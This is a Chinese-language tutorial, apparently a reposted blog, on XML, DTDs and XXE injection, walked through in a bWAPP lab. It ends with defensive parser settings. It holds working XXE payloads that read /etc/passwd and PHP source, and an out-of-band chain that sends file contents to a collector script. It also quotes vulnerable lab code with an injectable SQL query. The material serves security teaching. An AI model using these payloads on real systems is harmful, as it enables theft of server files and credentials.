XXE漏洞
程序员文章站
2022-07-15 15:37:37
...
0x01 XXE基础-XML基础语法
XML被设计用来传输和存储数据。
HTML被设计用来显示数据。
0x02 什么是XML
- XML 指可扩展标记语言(EXtensible Markup Language)。
- XML 是一种很像HTML的标记语言。
- XML 的设计宗旨是传输数据,而不是显示数据。
- XML 标签没有被预定义。需要自行定义标签。
- XML 被设计为具有自我描述性。
- XML 是 W3C 的推荐标准。
0x03 XML基础语法
- XML可以自定义标签。
- XML必须含有根元素。
- XML必须按顺序闭合标签。
- XML标签大小写敏感。
- XML属性值须加引号。
举个小栗子
<?xml version="1.0" encoding="UTF-8"?> <!-- XML声明,版本&编码 -->
<note time="2018.07.03" > <!-- 根元素 time为属性 2018.07.03为属性值 -->
<to>Tove</to> <!-- 四个子元素(to,from,heading,body) -->
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note> <!-- 所有的节点必须闭合 -->
0x04 XML实体引用
在 XML 中,一些字符拥有特殊的意义。
如果您把字符 "<" 放在 XML元素中,会发生错误,这是因为解析器会把它当作新元素的开始。
荔枝
<message>if salary < 1000 then</message> <!-- 发生错误的XML。 -->
<!-- 使用实体引用来代替"<" 字符。-->
<message>if salary < 1000 then</message> <!-- √ -->
实体引用
在 XML 中,有 5 个预定义的实体引用:
实体引用 | 特殊字符 | 含义 |
---|---|---|
< ; | < | less than |
> ; | > | greater than |
& ; | & | ampersand |
&apos ; | ' | apostrophe |
" ; | " | quotation mark |
0x05 DTD内外部引用
DTD(文档类型定义)的作用是定义XML文档的合法构建模块。
DTD 可被成行地声明于XML文档中,也可作为一个外部引用。
内部引用语法
<!DOCTYPE root-element [element-declarations]>
内部引用栗子
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>
- !DOCTYPE note (第二行)定义此文档是 note 类型的文档。
- !ELEMENT note (第三行)定义 note 元素有四个元素:"to、from、heading,、body"
- !ELEMENT to (第四行)定义 to 元素为 "#PCDATA" 类型
- !ELEMENT from (第五行)定义 from 元素为 "#PCDATA" 类型
- !ELEMENT heading (第六行)定义 heading 元素为 "#PCDATA" 类型
- !ELEMENT body (第七行)定义 body 元素为 "#PCDATA" 类型
外部引用语法
<!DOCTYPE root-element SYSTEM "filename">
外部引用栗子
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
<!--note.dtd 文件内容 -->
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
==参数化外部引用==
参数实体:
参数实体只能在DTD中使用,参数是实体的声明格式:
<!ENTITY % 实体名 "实体内容">
引用方式:%实体名
0x06 什么是XXE漏洞
XXE漏洞全称XML External Entity Injection即XML外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、×××内网网站、发起dos×××等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
0x07 XXE测试环境-弯(有回显)
当允许引用外部实体时,通过构造恶意内容,可导致任意文件读取、执行系统命令、探测内网端口等危害。
环境
bwapp ==> XML External Entity Attacks (XXE)
文件:/bWAPP/xxe-1.php
function ResetSecret()
{
var xmlHttp;
// Code for IE7+, Firefox, Chrome, Opera, Safari
if(window.XMLHttpRequest)
{
xmlHttp = new XMLHttpRequest();
}
// Code for IE6, IE5
else
{
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
}
xmlHttp.open("POST","xxe-2.php",true);
xmlHttp.setRequestHeader("Content-type","text/xml; charset=UTF-8");
xmlHttp.send("<reset><login><?php if(isset($_SESSION["login"])){echo $_SESSION["login"];}?></login><secret>Any bugs?</secret></reset>");
}
xxe-1.php 文件中将接收到的XML文件通过POST方式发送给xxe-2.php。
$body = file_get_contents("php://input");
if($_COOKIE["security_level"] != "1" && $_COOKIE["security_level"] != "2")
{
ini_set("display_errors",1);
$xml = simplexml_load_string($body);
$login = $xml->login;
$secret = $xml->secret;
if($login && $login != "" && $secret)
{
$sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'";
$recordset = $link->query($sql);
if(!$recordset)
{
die("Connect Error: " . $link->error);
}
$message = $login . "'s secret has been reset!";
}
else
{
$message = "An error occured!";
}
}
echo $message;
xxe-2.php文件通过PHP伪协议接收xml内容,然后解析,通过xml中获取的login元素值回显。
payload 读取文件
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY a SYSTEM "http://127.0.0.1/Training/bWAPP/1payload/2.txt">
]>
<reset><login>&a;</login><secret>Any bugs?</secret></reset>
读取文件句式
//通过file协议读取。
<?xml version="1.0" ?>
<!DOCTYPE a[
<!ENTITY b SYSTEM "file:///etc/passwd" >
]>
<c>&c;</c>
//通过PHP伪协议php://filter/读取。
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=1.php">
]>
<c>&file;</c>
//通过引用远程外部实体读取。
<!DOCTYPE a[
<!ENTITY % d SYSTEM "http://1.2.3.4/a.dtd">
%d;
]>
<c>&b;</c>
DTD文件内容
<!ENTITY b SYSTEM "file:///etc/passwd">
//通过引用远程外部实体读取。
<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://1.2.3.4/a.dtd">
<c>&b;</c>
DTD文件内容
<!ENTITY b SYSTEM "file:///etc/passwd">
0x08 XXE测试环境-图(无回显)
环境
<?php
$xml = <<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=1.php">
<!ENTITY % dtd SYSTEM "http://127.0.0.1/Training/bWAPP/1payload/2.dtd">
%dtd;
]>
EOF;
$date = simplexml_load_string($xml);
//var_dump($date);
?>
当服务器没有结果回显时,可以通过将数据发送到VPS等获取服务器数据。
2.dtd 文件内容
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://127.0.0.1/Training/bWAPP/1payload/2.php?1=%file;'>"
>
%all;
%send;
2.php 文件内容
<?php
var_dump($_GET);
file_put_contents("2.txt",$_GET['1']);
?>
结果
结果可以在2.txt中查看,示例内容如下:
PD9waHANCiR4bWwgPSA8PDxFT0YNCjw/eG1sIHZlcnNpb249IjEuMCI/Pg0KPCFET0NUWVBFIEFOWVsNCg0KPCFFTlRJVFkgJSBmaWxlIFNZU1RFTSAicGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPTEucGhwIj4NCjwhRU5USVRZICUgZHRkIFNZU1RFTSAiaHR0cDovLzEyNy4wLjAuMS9UcmFpbmluZy9iV0FQUC8xcGF5bG9hZC8yLmR0ZCI DQolZHRkOw0KXT4NCkVPRjsNCiRkYXRlID0gc2ltcGxleG1sX2xvYWRfc3RyaW5nKCR4bWwpOw0KdmFyX2R1bXAoJGRhdGUpOw0KPz4NCg==
0x09 XXE防护
方案一、使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方案二、过滤用户提交的XML数据
关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。
转载于:https://blog.51cto.com/dearch/2136021